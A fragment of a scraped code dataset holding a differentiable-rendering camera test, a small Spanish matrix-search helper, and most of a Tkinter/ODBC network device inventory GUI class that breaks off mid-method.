look_at      = look_at,\n                        up           = up,\n                        cam_to_world = None,\n                        fov          = fov,\n                        clip_near    = clip_near,\n                        clip_far     = clip_far,\n                        resolution   = resolution)\n    args=render_pytorch.RenderFunction.serialize_scene(cam,materials,shapes,lights,resolution,4,1)\n\n    optimizer.zero_grad()\n    # Forward pass: render the image\n    img = render(t+1, *args)\n    image.imwrite(img.data.numpy(), 'test/results/test_single_triangle_camera/iter_{}.png'.format(t))\n    loss = (img - target).pow(2).sum()\n    print('loss:', loss.item())\n\n    loss.backward()\n    print('position.grad:', position.grad)\n    print('look_at.grad:', look_at.grad)\n\n    optimizer.step()\n    print('position:', position)\n    print('look_at:', look_at)\n\nfrom subprocess import call\ncall([\"ffmpeg\", \"-framerate\", \"24\", \"-i\",\n    \"test/results/test_single_triangle_camera/iter_%d.png\",\n    \"-vb\", \"20M\",\n    \"test/results/test_single_triangle_camera/out.mp4\"])","repo_name":"BachiLi/delta_ray","sub_path":"test/test_single_triangle_camera.py","file_name":"test_single_triangle_camera.py","file_ext":"py","file_size_in_byte":3684,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"4228077832","text":"#Verifica si los elementos de una lista están en una matriz o arroja las coordenadas de un elemento a buscar\ndef ubicarElementos(matriz, elementoabuscar, elementos):\n    coordenadas = []\n    for fila in range(len(matriz)):\n        for columna in range(len(matriz[fila])):\n            elemento = matriz[fila][columna]\n            if elementos is not None:\n                if elemento in elementos:\n                    return False\n            elif elementoabuscar is not None:\n                if elemento == elementoabuscar:\n                    coordenadas.append((fila, columna))\n    if coordenadas:\n        return coordenadas\n    return True\n   \n#_____________________________________________________________________________________________\n\n","repo_name":"JabCol/AlgoritmoMinimax","sub_path":"funciones.py","file_name":"funciones.py","file_ext":"py","file_size_in_byte":744,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"12400157869","text":"#==========================================================================\r\n# Program: Device.py ---- CLASS ---\r\n# Author:  Jorge E. Rodriguez\r\n# Date Created: Jan-21-2018\r\n# Date Last Modified: Feb-20-2018\r\n# Summary: This is Class to for the Device\r\n#==========================================================================\r\n\r\n#***************************************************************\r\n# ==================== Libraries Required <BEGIN> =============*\r\n#***************************************************************\r\n\r\nimport os\r\nfrom threading import Thread\r\nimport sys\r\nimport math\r\nimport datetime\r\nimport time\r\nimport random\r\nimport tkinter\r\nimport tkinter.messagebox\r\nimport tkinter.filedialog\r\nfrom tkinter import *           # Importing the Tkinter (tool box) library\r\nfrom tkinter import ttk\r\nif sys.version_info < (3,0): \r\n    import Tkinter as tkinter \r\n    import tkMessageBox as mbox \r\n    import Tkinter.font as tkfont\r\nelse: \r\n    import tkinter \r\n    import tkinter.messagebox as mbox \r\n    import tkinter.font as tkfont\r\n#import PyPDF2\r\n\r\n\r\ntry:\r\n    from odbc_connector import *\r\n    Is_ODBC_Available = True\r\nexcept:\r\n    print (\"********************************************************************************** \\n\")\r\n    print (\"*** NO ODBC Library Found, please download it in order to access the Databases *** \\n\")\r\n    print (\"********************************************************************************** \\n\")\r\n    Is_ODBC_Available = False\r\n    sys.exit(1)\r\n\r\n#*******************************************************\r\n#============= READING VARIABLES TABLE ================*\r\n#*******************************************************\r\ntry:\r\n    from Utils import *\r\n    Utils = Class_Utils()\r\n    Utils.Get_Values()\r\n    #------- DNS NAME ---------\r\n    ODBC_DSN_name = Utils.Get_ODBC_Name()\r\n    Windows_Scaling = Utils.Get_Windows_Scaling()\r\n    #--------------------------\r\nexcept:\r\n    #------- DNS NAME ---------\r\n    ODBC_DSN_name = \"BV\"\r\n    Windows_Scaling = 1.0\r\n    #--------------------------\r\n\r\n#print (Windows_Scaling)\r\n\r\ntry:\r\n    from Calendar_Jorge import *\r\n    Is_Calendar_Available = True\r\nexcept:\r\n    print (\"********************************************************************************** \\n\")\r\n    print (\"*** NO Calendar Library Found, please download it in order to access the Databases *** \\n\")\r\n    print (\"********************************************************************************** \\n\")\r\n    Is_Calendar_Available = False  \r\n\r\ntry:\r\n    from Country import *\r\n    Is_Country_Available = True\r\n    Country = Class_Country(ODBC_DSN_name,Windows_Scaling)\r\nexcept:\r\n    print (\"********************************************************************************** \\n\")\r\n    print (\"*** NO Country Library Found, please download it in order to access the Databases *** \\n\")\r\n    print (\"********************************************************************************** \\n\")\r\n    Is_Country_Available = False  \r\n\r\ntry:\r\n    from Region import *\r\n    Is_Region_Available = True\r\n    Region = Class_Region(ODBC_DSN_name,Windows_Scaling)\r\nexcept:\r\n    print (\"********************************************************************************** \\n\")\r\n    print (\"*** NO Region Library Found, please download it in order to access the Databases *** \\n\")\r\n    print (\"********************************************************************************** \\n\")\r\n    Is_Region_Available = False  \r\n\r\ntry:\r\n    from Facility import *\r\n    Is_Facility_Available = True\r\n    Location = []\r\n    Facility = Class_Facility(ODBC_DSN_name,Windows_Scaling,Location)\r\nexcept:\r\n    print (\"********************************************************************************** \\n\")\r\n    print (\"*** NO Facility Library Found, please download it in order to access the Databases *** \\n\")\r\n    print (\"********************************************************************************** \\n\")\r\n    Is_Facility_Available = False  \r\n\r\ntry:\r\n    from Sites import *\r\n    Is_Sites_Available = True\r\n    Sites = Class_Sites(ODBC_DSN_name,Windows_Scaling)\r\nexcept:\r\n    print (\"********************************************************************************** \\n\")\r\n    print (\"*** NO Sites Library Found, please download it in order to access the Databases *** \\n\")\r\n    print (\"********************************************************************************** \\n\")\r\n    Is_Sites_Available = False  \r\n\r\ntry:\r\n    from Circuits import *\r\n    Is_Circuit_Available = True\r\n    Location = []\r\n    Circuit = Class_Circuits(ODBC_DSN_name,Windows_Scaling,Location)\r\nexcept:\r\n    print (\"********************************************************************************** \\n\")\r\n    print (\"*** NO Circuits Library Found, please download it in order to access the Databases *** \\n\")\r\n    print (\"********************************************************************************** \\n\")\r\n    Is_Circuit_Available = False  \r\n\r\ntry:\r\n    from ICMP import *\r\n    Is_ICMP_Available = True\r\n    Location = []\r\n    ICMP = Class_ICMP(ODBC_DSN_name,Windows_Scaling,Location)\r\nexcept:\r\n    print (\"********************************************************************************** \\n\")\r\n    print (\"*** NO ICMP Library Found, please download it in order to access the Databases *** \\n\")\r\n    print (\"********************************************************************************** \\n\")\r\n    Is_ICMP_Available = False  \r\n\r\ntry:\r\n    from LocalPointOfContacts import *\r\n    Is_LocalPointOfContacts_Available = True\r\n    Location = []\r\n    LocalPointOfContacts = Class_LocalPointOfContacts(ODBC_DSN_name,Windows_Scaling,Location)\r\nexcept:\r\n    print (\"********************************************************************************** \\n\")\r\n    print (\"*** NO Local Point Of Contacts Library Found, please download it in order to access the Databases *** \\n\")\r\n    print (\"********************************************************************************** \\n\")\r\n    Is_LocalPointOfContacts_Available = False  \r\n\r\ntry:\r\n    from Logging import *\r\n    Is_logging_Available = True\r\n    Parameter = []\r\n    Parameter = ['Device','OPEN Window']    \r\n    Logging = Class_Logging(ODBC_DSN_name,Parameter)\r\n    Logging.Log(Parameter)\r\nexcept:\r\n    print (\"********************************************************************************** \\n\")\r\n    print (\"*** NO Logging Library Found, please download it in order to access the Databases *** \\n\")\r\n    print (\"********************************************************************************** \\n\")\r\n    Is_logging_Available = False\r\n\r\n\r\n#*************************************************************\r\n# ==================== Libraries Required <END> =============*\r\n#*************************************************************\r\n\r\nclass Class_Device:\r\n\r\n    def __init__(self,DSN_Name,Windows_Scaling,Location):      \r\n        self.ODBC_name = DSN_Name\r\n        self.db = ODBC(self.ODBC_name)\r\n        self.version = self.db.Get_Version()\r\n        self.DeviceWindowExist = False\r\n        self.DeviceCalendarInstalledDateExist = False\r\n        self.DeviceCalendarActivatedDateExist = False\r\n        self.DeviceCalendarDisconnectedDateExist = False\r\n        self.DeviceCalendarExpirationDateExist = False\r\n        self.Username = os.getlogin()\r\n        self.date = \"\"\r\n        self.Windows_Scaling = Windows_Scaling\r\n        self.Selection = 'none'\r\n        self.GetPasswordWindowsExists = False\r\n        self.Go_To_Location = False\r\n        if (len(Location) > 0):\r\n            self.Init_Country = Location[0]\r\n            self.Init_Region = Location[1]\r\n            self.Init_Facility = Location[2]\r\n            self.Init_Site = Location[3]\r\n            self.Go_To_Location = True\r\n\r\n    def treeview_sort_column(self,tv, col, reverse):\r\n        #print('sorting %s!' % col)\r\n        l = [(tv.set(k, col), k) for k in tv.get_children('')]\r\n        l.sort(reverse=reverse)\r\n\r\n        # rearrange items in sorted positions\r\n        for index, (val, k) in enumerate(l):\r\n            #print('Moving Index:%r, Value:%r, k:%r' % (index, val, k))\r\n            tv.move(k, '', index)\r\n\r\n        # reverse sort next time\r\n        tv.heading(col, command=lambda: self.treeview_sort_column(tv, col, not reverse))\r\n        \r\n\r\n    def IPFormatCheck(self,ip_str):\r\n        if len(ip_str.split()) == 1:\r\n               ipList = ip_str.split('.')\r\n               if len(ipList) == 4:\r\n                   for i, item in enumerate(ipList):\r\n                       try:\r\n                           ipList[i] = int(item)\r\n                       except:\r\n                           return False\r\n                       if not isinstance(ipList[i], int):\r\n                           return False\r\n                   if max(ipList) < 256:\r\n                       return True\r\n                   else:\r\n                       return False\r\n               else:\r\n                   return False\r\n        else:\r\n               return False\r\n\r\n#****************************************************************************************\r\n#---------------------------- SCREEN SELECTION SECTION <BEGIN> ------------------------*\r\n#****************************************************************************************\r\n        \r\n    def Clean_Screen(self,option,option2):\r\n        # Setup Buttons\r\n\r\n        #self.DeviceBusinessUnitPowerCheckbutton.select()\r\n        #print (self.varpower.get())\r\n        self.data_ready = False\r\n        if (option == 'country'): ## The option are country,region and Device\r\n            self.ComboBoxRegionID.set(\"\")\r\n            self.ComboBoxRegionID['state'] = DISABLED\r\n            self.ComboBoxFacilityID.set(\"\")\r\n            self.ComboBoxFacilityID['state'] = DISABLED\r\n            self.ComboBoxSitesID.set(\"\")\r\n            self.ComboBoxSitesID['state'] = DISABLED\r\n            self.ButtonDeviceOK['state'] = DISABLED # Due to Edit\r\n            if (option2 != 'country-combo'):\r\n                self.ComboBoxCoutryID.set(\"\")\r\n                self.ComboBoxRegionID['state'] = DISABLED\r\n                self.ComboBoxFacilityID['state'] = DISABLED\r\n                self.ComboBoxSitesID['state'] = DISABLED\r\n            if (Is_Region_Available):\r\n                self.ButtonRegionAdd['state'] = DISABLED\r\n                self.ButtonRegionRefresh['state'] = DISABLED\r\n            if (Is_Facility_Available):\r\n                self.ButtonFacilityAdd['state'] = DISABLED\r\n                self.ButtonFacilityRefresh['state'] = DISABLED\r\n            if (Is_Sites_Available):\r\n                self.ButtonSitesAdd['state'] = DISABLED\r\n                self.ButtonSitesRefresh['state'] = DISABLED\r\n\r\n        if (option == 'region'):\r\n            self.ComboBoxFacilityID.set(\"\")\r\n            self.ComboBoxFacilityID['state'] = DISABLED\r\n            self.ComboBoxSitesID.set(\"\")\r\n            self.ComboBoxSitesID['state'] = DISABLED\r\n            self.ButtonDeviceOK['state'] = DISABLED # Due to Edit\r\n            if (option2 != 'region-combo'):\r\n                self.ComboBoxRegionID.set(\"\")\r\n            if (Is_Facility_Available):\r\n                self.ButtonFacilityAdd['state'] = DISABLED\r\n                self.ButtonFacilityRefresh['state'] = DISABLED\r\n            if (Is_Sites_Available):\r\n                self.ButtonSitesAdd['state'] = DISABLED\r\n                self.ButtonSitesRefresh['state'] = DISABLED\r\n\r\n        if (option == 'facility'):\r\n            self.ComboBoxSitesID.set(\"\")\r\n            self.ComboBoxSitesID['state'] = DISABLED\r\n            self.ButtonDeviceOK['state'] = DISABLED # Due to Edit\r\n            if (option2 != 'facility-combo'):\r\n                self.ComboBoxFacilityID.set(\"\")\r\n            if (Is_Sites_Available):\r\n                self.ButtonSitesAdd['state'] = DISABLED\r\n                self.ButtonSitesRefresh['state'] = DISABLED\r\n\r\n        if (option2 == 'sites-combo'):\r\n            if (self.Selection != 'edit'):\r\n                self.ButtonDeviceAdd['state'] = ACTIVE\r\n            if (self.Selection == 'edit'):\r\n                self.ButtonDeviceOK['state'] = ACTIVE # Due to Edit\r\n        else:\r\n            self.ButtonDeviceAdd['state'] = DISABLED\r\n\r\n        if (self.Selection != 'edit'):\r\n            self.ButtonDeviceEdit['state'] = DISABLED\r\n            self.ButtonDeviceRemove['state'] = DISABLED\r\n            self.ButtonDeviceOK['state'] = DISABLED\r\n            self.ButtonDeviceCancel['state'] = DISABLED\r\n            self.ButtonDeviceCircuits['state'] = DISABLED\r\n            self.ButtonDevicePing64['state'] = DISABLED\r\n            self.ButtonDevicePing1500['state'] = DISABLED\r\n            #self.ButtonDeviceContacts['state'] = DISABLED\r\n            self.ButtonDeviceICMP['state'] = DISABLED\r\n            self.ButtonDeviceLocalPointOfContacts['state'] = DISABLED\r\n\r\n            # Create Progress Bar\r\n            self.progress['maximum'] = 100\r\n            self.progress['value'] = 0\r\n\r\n            # Setup Labels and Entry\r\n            self.DeviceIDFrameEntry['state'] = 'normal'\r\n            self.DeviceIDFrameEntry.delete(0,END)\r\n            self.DeviceIDFrameEntry['state'] = 'readonly'\r\n\r\n            self.DeviceDescriptionFrameEntry['state'] = 'normal'\r\n            self.DeviceDescriptionFrameEntry.delete(0,END)\r\n            self.DeviceDescriptionFrameEntry['state'] = 'readonly'\r\n\r\n            # Setup Labels and Entry\r\n            self.DeviceIDFrameEntry['state'] = 'normal'\r\n            self.DeviceIDFrameEntry.delete(0,END)\r\n            self.DeviceIDFrameEntry['state'] = 'readonly'\r\n                    \r\n            self.DeviceDescriptionFrameEntry['state'] = 'normal'\r\n            self.DeviceDescriptionFrameEntry.delete(0,END)\r\n            self.DeviceDescriptionFrameEntry['state'] = 'readonly'\r\n\r\n            self.DeviceComboBoxTypeID.current(0)\r\n            self.DeviceComboBoxTypeID['state'] = DISABLED\r\n\r\n            self.DeviceComboBoxModelID.current(0)\r\n            self.DeviceComboBoxModelID['state'] = DISABLED\r\n\r\n            self.DeviceComboBoxStatus.current(0)\r\n            self.DeviceComboBoxStatus['state'] = DISABLED\r\n\r\n            self.DeviceButtonInstalledDate['state'] = DISABLED\r\n            self.DeviceButtonActivatedDate['state'] = DISABLED\r\n            self.DeviceButtonDisconnectedDate['state'] = DISABLED\r\n            self.DeviceButtonExpirationDate['state'] = DISABLED\r\n\r\n\r\n            self.DeviceIPAddressFrameEntry['state'] = 'normal'\r\n            self.DeviceIPAddressFrameEntry.delete(0,END)\r\n            self.DeviceIPAddressFrameEntry['state'] = 'readonly'\r\n\r\n            # Setup Labels and Button Calendars Installed, Activated, Disconnected\r\n            self.DeviceInstalledDateFrameEntry['state'] = 'normal'\r\n            self.DeviceInstalledDateFrameEntry.delete(0,END)\r\n            self.DeviceInstalledDateFrameEntry['state'] = 'readonly'\r\n\r\n            self.DeviceContractNoFrameEntry['state'] = 'normal'\r\n            self.DeviceContractNoFrameEntry.delete(0,END)\r\n            self.DeviceContractNoFrameEntry['state'] = 'readonly'\r\n\r\n            self.DeviceExpirationDateFrameEntry['state'] = 'normal'\r\n            self.DeviceExpirationDateFrameEntry.delete(0,END)\r\n            self.DeviceExpirationDateFrameEntry['state'] = 'readonly'\r\n\r\n            self.DeviceActivatedDateFrameEntry['state'] = 'normal'\r\n            self.DeviceActivatedDateFrameEntry.delete(0,END)\r\n            self.DeviceActivatedDateFrameEntry['state'] = 'readonly'\r\n\r\n            self.DeviceSerialNoFrameEntry['state'] = 'normal'\r\n            self.DeviceSerialNoFrameEntry.delete(0,END)\r\n            self.DeviceSerialNoFrameEntry['state'] = 'readonly'\r\n\r\n            self.DeviceMACAddressFrameEntry['state'] = 'normal'\r\n            self.DeviceMACAddressFrameEntry.delete(0,END)\r\n            self.DeviceMACAddressFrameEntry['state'] = 'readonly'\r\n\r\n            self.DeviceDisconnectedDateFrameEntry['state'] = 'normal'\r\n            self.DeviceDisconnectedDateFrameEntry.delete(0,END)\r\n            self.DeviceDisconnectedDateFrameEntry['state'] = 'readonly'\r\n\r\n            self.DeviceOutSourceCostFrameEntry['state'] = 'normal'\r\n            self.DeviceOutSourceCostFrameEntry.delete(0,END)\r\n            self.DeviceOutSourceCostFrameEntry['state'] = 'readonly'\r\n\r\n            self.DeviceMaintenanceCostFrameEntry['state'] = 'normal'\r\n            self.DeviceMaintenanceCostFrameEntry.delete(0,END)\r\n            self.DeviceMaintenanceCostFrameEntry['state'] = 'readonly'\r\n\r\n            self.DeviceNotesFrameEntry['state'] = 'normal'\r\n            self.DeviceNotesFrameEntry.delete(0,END)\r\n            self.DeviceNotesFrameEntry['state'] = 'readonly'\r\n\r\n\r\n            ##############################\r\n\r\n            self.DeviceNATIPAddressFrameEntry['state'] = 'normal'\r\n            self.DeviceNATIPAddressFrameEntry.delete(0,END)\r\n            self.DeviceNATIPAddressFrameEntry['state'] = 'readonly'\r\n            \r\n            self.DeviceMgmtIPAddressFrameEntry['state'] = 'normal'\r\n            self.DeviceMgmtIPAddressFrameEntry.delete(0,END)\r\n            self.DeviceMgmtIPAddressFrameEntry['state'] = 'readonly'\r\n                  \r\n            self.DeviceComboBoxICMPCapable.current(0)\r\n            self.DeviceComboBoxICMPCapable['state'] = DISABLED\r\n\r\n            self.DeviceComboBoxICMPMonitor.current(0)\r\n            self.DeviceComboBoxICMPMonitor['state'] = DISABLED\r\n\r\n            self.DeviceLastICMPDateFrameEntry['state'] = 'normal'\r\n            self.DeviceLastICMPDateFrameEntry.delete(0,END)\r\n            self.DeviceLastICMPDateFrameEntry['state'] = 'readonly'\r\n\r\n            self.DeviceLastICMPStatusFrameEntry['state'] = 'normal'\r\n            self.DeviceLastICMPStatusFrameEntry.delete(0,END)\r\n            self.DeviceLastICMPStatusFrameEntry['state'] = 'readonly'\r\n\r\n            self.DeviceLastCMDBStatusFrameEntry['state'] = 'normal'\r\n            self.DeviceLastCMDBStatusFrameEntry.delete(0,END)\r\n            self.DeviceLastCMDBStatusFrameEntry['state'] = 'readonly'\r\n            \r\n            ##############################\r\n\r\n            #------------------------------- Deleting Tree View <BEGIN> --------\r\n            x = self.DeviceTreeview.get_children()\r\n            if x != '()': # checks if there is something in the first row\r\n                for child in x:\r\n                    #print (child)\r\n                    self.DeviceTreeview.delete(child)\r\n            #------------------------------- Deleting Tree View <END> --------\r\n\r\n    def Display_Screen(self,curItem):      \r\n            # Create Progress Bar\r\n            self.Get_Type_Model_and_Satus()\r\n            self.progress['maximum'] = 100\r\n            self.progress['value'] = 0\r\n\r\n            '''\r\n                        self.DeviceTablePriaryKeyArray[i],\r\n                        #self.DeviceTableDeviceDescriptionArray[i],                \r\n                        #self.DeviceTableCountryIDArray[i],\r\n                        #self.DeviceTableRegionIDArray[i],\r\n                        #self.DeviceTableFacilityIDArray[i],\r\n                        #self.DeviceTableSiteIDArray[i],\r\n                        self.DeviceTableDeviceTypeIDArray[i],\r\n                        self.DeviceTableIP4AddressArray[i],\r\n                        #self.DeviceTableIP6AddressArray[i],\r\n                        self.DeviceTableContractNoArray[i],\r\n                        self.DeviceTableOutsourceCostArray[i],\r\n                        self.DeviceTableMaintenanceCostArray[i],\r\n                        self.DeviceTableStatusArray[i],\r\n                        #self.DeviceTableMonthlyCostArray[i],\r\n                        self.DeviceTableDateInstalledArray[i],\r\n                        #self.DeviceTableDayInstalledArray[i],\r\n                        #self.DeviceTableMonthInstalledArray[i],\r\n                        #self.DeviceTableYearInstalledArray[i],Get_Type\r\n                        self.DeviceTableDateActivatedArray[i],\r\n                        #self.DeviceTableDayActivatedArray[i],\r\n                        #self.DeviceTableMonthActivatedArray[i],\r\n                        #self.DeviceTableYearActivatedArray[i],\r\n                        self.DeviceTableDisconectedDateArray[i],\r\n                        #self.DeviceTableDayDisconectedArray[i],\r\n                        #self.DeviceTableMonthDisconectedArray[i],\r\n                        #self.DeviceTableYearDisconectedArray[i],\r\n                        self.DeviceTableExpirationDateArray[i],\r\n                        #self.DeviceTableDayExpirationArray[i],\r\n                        #self.DeviceTableMonthExpirationArray[i],\r\n                        #self.DeviceTableYearExpirationArray[i],\r\n                        self.DeviceTableSerilaNoArray[i],\r\n                        self.DeviceTableExecutedByArray[i],\r\n                        #self.DeviceTableNotesArray[i],\r\n                        self.DeviceTableDeviceModelIDArray[i],\r\n                        #self.DeviceTableMACAddressArray[i]\r\n            '''\r\n            # Setup Labels and Entry\r\n            self.DeviceIDFrameEntry['state'] = 'normal'\r\n            self.DeviceIDFrameEntry.delete(0,END)\r\n            self.DeviceIDFrameEntry.insert(0,self.DeviceTablePriaryKeyArray[curItem])\r\n            self.DeviceIDFrameEntry['state'] = 'readonly'\r\n                \r\n            self.DeviceDescriptionFrameEntry['state'] = 'normal'\r\n            self.DeviceDescriptionFrameEntry.delete(0,END)\r\n            self.DeviceDescriptionFrameEntry.insert(0,self.DeviceTableDeviceDescriptionArray[curItem])\r\n            self.DeviceDescriptionFrameEntry['state'] = 'readonly'\r\n\r\n            # Find Type in the Array\r\n            i = 0\r\n            self.DeviceComboBoxTypeID.current(i)\r\n            while (i < len(self.DeviceTypeIDArray)):\r\n                if (self.DeviceTableDeviceTypeIDArray[curItem]== self.DeviceTypeIDArray[i]):\r\n                    self.DeviceComboBoxTypeID.current(i)\r\n                    i = i + len(self.DeviceTypeIDArray) \r\n                else:\r\n                    i = i + 1\r\n            # find Model in the Array\r\n            i = 0\r\n            self.DeviceComboBoxModelID.current(i)\r\n            while (i < len(self.DeviceModelIDArray)):\r\n                if (self.DeviceTableDeviceModelIDArray[curItem]== self.DeviceModelIDArray[i]):\r\n                    self.DeviceComboBoxModelID.current(i)\r\n                    i = i + len(self.DeviceModelIDArray) \r\n                else:\r\n                    i = i + 1            # find Status in the Array\r\n            i = 0\r\n            while (i < len(self.DeviceStatusValues)):\r\n                if (self.DeviceTableStatusArray[curItem]== self.DeviceStatusValues[i]):\r\n                    self.DeviceComboBoxStatus.current(i)\r\n                    i = i + len(self.DeviceStatusValues) \r\n                else:\r\n                    i = i + 1\r\n\r\n            self.DeviceButtonInstalledDate['state'] = DISABLED\r\n            self.DeviceButtonActivatedDate['state'] = DISABLED\r\n            self.DeviceButtonDisconnectedDate['state'] = DISABLED\r\n            self.DeviceButtonExpirationDate['state'] = DISABLED\r\n\r\n\r\n            self.DeviceIPAddressFrameEntry['state'] = 'normal'\r\n            self.DeviceIPAddressFrameEntry.delete(0,END)\r\n            self.DeviceIPAddressFrameEntry.insert(0,self.DeviceTableIP4AddressArray[curItem])\r\n            self.DeviceIPAddressFrameEntry['state'] = 'readonly'\r\n\r\n            # Setup Labels and Button Calendars Installed, Activated, Disconnected\r\n            self.DeviceInstalledDateFrameEntry['state'] = 'normal'\r\n            self.DeviceInstalledDateFrameEntry.delete(0,END)\r\n            if (self.DeviceTableDateInstalledArray[curItem] == None):\r\n                self.DeviceInstalledDateFrameEntry.insert(0,\" \")\r\n            else:\r\n                self.DeviceInstalledDateFrameEntry.insert(0,self.DeviceTableDateInstalledArray[curItem])\r\n            self.DeviceInstalledDateFrameEntry['state'] = 'readonly'\r\n\r\n            self.DeviceContractNoFrameEntry['state'] = 'normal'\r\n            self.DeviceContractNoFrameEntry.delete(0,END)\r\n            if (self.DeviceTableContractNoArray[curItem] == None):\r\n                self.DeviceContractNoFrameEntry.insert(0,\" \")\r\n            else:\r\n                self.DeviceContractNoFrameEntry.insert(0,self.DeviceTableContractNoArray[curItem])\r\n            self.DeviceContractNoFrameEntry['state'] = 'readonly'\r\n\r\n            self.DeviceExpirationDateFrameEntry['state'] = 'normal'\r\n            self.DeviceExpirationDateFrameEntry.delete(0,END)\r\n            if (self.DeviceTableExpirationDateArray[curItem] == None):\r\n                self.DeviceExpirationDateFrameEntry.insert(0,\" \")\r\n            else:\r\n                self.DeviceExpirationDateFrameEntry.insert(0,self.DeviceTableExpirationDateArray[curItem])\r\n            self.DeviceExpirationDateFrameEntry['state'] = 'readonly'\r\n\r\n            self.DeviceActivatedDateFrameEntry['state'] = 'normal'\r\n            self.DeviceActivatedDateFrameEntry.delete(0,END)\r\n            if (self.DeviceTableDateActivatedArray[curItem] == None):\r\n                self.DeviceActivatedDateFrameEntry.insert(0,\" \")\r\n            else:\r\n                self.DeviceActivatedDateFrameEntry.insert(0,self.DeviceTableDateActivatedArray[curItem])\r\n            self.DeviceActivatedDateFrameEntry['state'] = 'readonly'\r\n\r\n            self.DeviceSerialNoFrameEntry['state'] = 'normal'\r\n            self.DeviceSerialNoFrameEntry.delete(0,END)\r\n            if (self.DeviceTableSerilaNoArray[curItem] == None):\r\n                self.DeviceSerialNoFrameEntry.insert(0,\" \")\r\n            else:\r\n                self.DeviceSerialNoFrameEntry.insert(0,self.DeviceTableSerilaNoArray[curItem])\r\n            self.DeviceSerialNoFrameEntry['state'] = 'readonly'\r\n\r\n            self.DeviceMACAddressFrameEntry['state'] = 'normal'\r\n            self.DeviceMACAddressFrameEntry.delete(0,END)\r\n            if (self.DeviceTableMACAddressArray[curItem] == None):\r\n                self.DeviceMACAddressFrameEntry.insert(0,\" \")\r\n            else:\r\n                self.DeviceMACAddressFrameEntry.insert(0,self.DeviceTableMACAddressArray[curItem])\r\n            self.DeviceMACAddressFrameEntry['state'] = 'readonly'\r\n\r\n            self.DeviceDisconnectedDateFrameEntry['state'] = 'normal'\r\n            self.DeviceDisconnectedDateFrameEntry.delete(0,END)\r\n            if (self.DeviceTableDisconectedDateArray[curItem] == None):\r\n                self.DeviceTableDisconectedDateArray.insert(0,\" \")\r\n            else:\r\n                self.DeviceDisconnectedDateFrameEntry.insert(0,self.DeviceTableDisconectedDateArray[curItem])\r\n            self.DeviceDisconnectedDateFrameEntry['state'] = 'readonly'\r\n\r\n            self.DeviceOutSourceCostFrameEntry['state'] = 'normal'\r\n            self.DeviceOutSourceCostFrameEntry.delete(0,END)\r\n            self.DeviceOutSourceCostFrameEntry.insert(0,str(self.DeviceTableOutsourceCostArray[curItem]))\r\n            self.DeviceOutSourceCostFrameEntry['state'] = 'readonly'\r\n\r\n            self.DeviceMaintenanceCostFrameEntry['state'] = 'normal'\r\n            self.DeviceMaintenanceCostFrameEntry.delete(0,END)\r\n            self.DeviceMaintenanceCostFrameEntry.insert(0,str(self.DeviceTableMaintenanceCostArray[curItem]))\r\n            self.DeviceMaintenanceCostFrameEntry['state'] = 'readonly'\r\n\r\n            self.DeviceNotesFrameEntry['state'] = 'normal'\r\n            self.DeviceNotesFrameEntry.delete(0,END)\r\n            self.DeviceNotesFrameEntry.insert(0,self.DeviceTableNotesArray[curItem])\r\n            self.DeviceNotesFrameEntry['state'] = 'readonly'\r\n\r\n\r\n            ##############################\r\n            \r\n            self.DeviceNATIPAddressFrameEntry['state'] = 'normal'\r\n            self.DeviceNATIPAddressFrameEntry.delete(0,END)\r\n            self.DeviceNATIPAddressFrameEntry.insert(0,self.DeviceTableNATIP4AddressArray[curItem])\r\n            self.DeviceNATIPAddressFrameEntry['state'] = 'readonly'\r\n            \r\n            self.DeviceMgmtIPAddressFrameEntry['state'] = 'normal'\r\n            self.DeviceMgmtIPAddressFrameEntry.delete(0,END)\r\n            self.DeviceMgmtIPAddressFrameEntry.insert(0,self.DeviceTableManagementIP4AddressArray[curItem])\r\n            self.DeviceMgmtIPAddressFrameEntry['state'] = 'readonly'\r\n                  \r\n            if (self.DeviceTableICMPCapableArray[curItem] == \"YES\"):\r\n                self.DeviceComboBoxICMPCapable.current(1)\r\n            else:\r\n                self.DeviceComboBoxICMPCapable.current(0)\r\n            self.DeviceComboBoxICMPCapable['state'] = DISABLED\r\n\r\n            if (self.DeviceTableMonitorviaICMPArray[curItem] == \"YES\"):\r\n                self.DeviceComboBoxICMPMonitor.current(1)\r\n            else:\r\n                self.DeviceComboBoxICMPMonitor.current(0)\r\n            self.DeviceComboBoxICMPMonitor['state'] = DISABLED\r\n\r\n            self.DeviceLastICMPDateFrameEntry['state'] = 'normal'\r\n            self.DeviceLastICMPDateFrameEntry.delete(0,END)\r\n            self.DeviceLastICMPDateFrameEntry.insert(0,self.DeviceTableLastSuccessICMPArray[curItem])\r\n            self.DeviceLastICMPDateFrameEntry['state'] = 'readonly'\r\n\r\n            self.DeviceLastICMPStatusFrameEntry['state'] = 'normal'\r\n            self.DeviceLastICMPStatusFrameEntry.delete(0,END)\r\n            self.DeviceLastICMPStatusFrameEntry.insert(0,self.DeviceTableLastICMPStatusArray[curItem])\r\n            self.DeviceLastICMPStatusFrameEntry['state'] = 'readonly'\r\n\r\n            self.DeviceLastCMDBStatusFrameEntry['state'] = 'normal'\r\n            self.DeviceLastCMDBStatusFrameEntry.delete(0,END)\r\n            self.DeviceLastCMDBStatusFrameEntry.insert(0,self.DeviceTableLastUpdatedCMDBDateArray[curItem])\r\n            self.DeviceLastCMDBStatusFrameEntry['state'] = 'readonly'\r\n            \r\n            ##############################\r\n\r\n\r\n    def Enable_Screen(self,option):\r\n        # This function is used when the ADD button is selected\r\n\r\n        #self.DeviceBusinessUnitPowerCheckbutton.select()\r\n        #print (self.varpower.get())\r\n\r\n        if (Is_Country_Available):\r\n            self.ButtonCountryAdd['state'] = DISABLED\r\n            self.ButtonCountryRefresh['state'] = DISABLED\r\n        if (Is_Region_Available):\r\n            self.ButtonRegionAdd['state'] = DISABLED\r\n            self.ButtonRegionRefresh['state'] = DISABLED\r\n        if (Is_Facility_Available):\r\n            self.ButtonFacilityAdd['state'] = DISABLED\r\n            self.ButtonFacilityRefresh['state'] = DISABLED\r\n        if (Is_Sites_Available):\r\n            self.ButtonSitesAdd['state'] = DISABLED\r\n            self.ButtonSitesRefresh['state'] = DISABLED\r\n\r\n            \r\n        self.ButtonDeviceAdd['state'] = DISABLED\r\n        self.ButtonDeviceEdit['state'] = DISABLED\r\n        self.ButtonDeviceRemove['state'] = DISABLED\r\n        self.ButtonDeviceOK['state'] = ACTIVE\r\n        self.ButtonDeviceCancel['state'] = ACTIVE\r\n        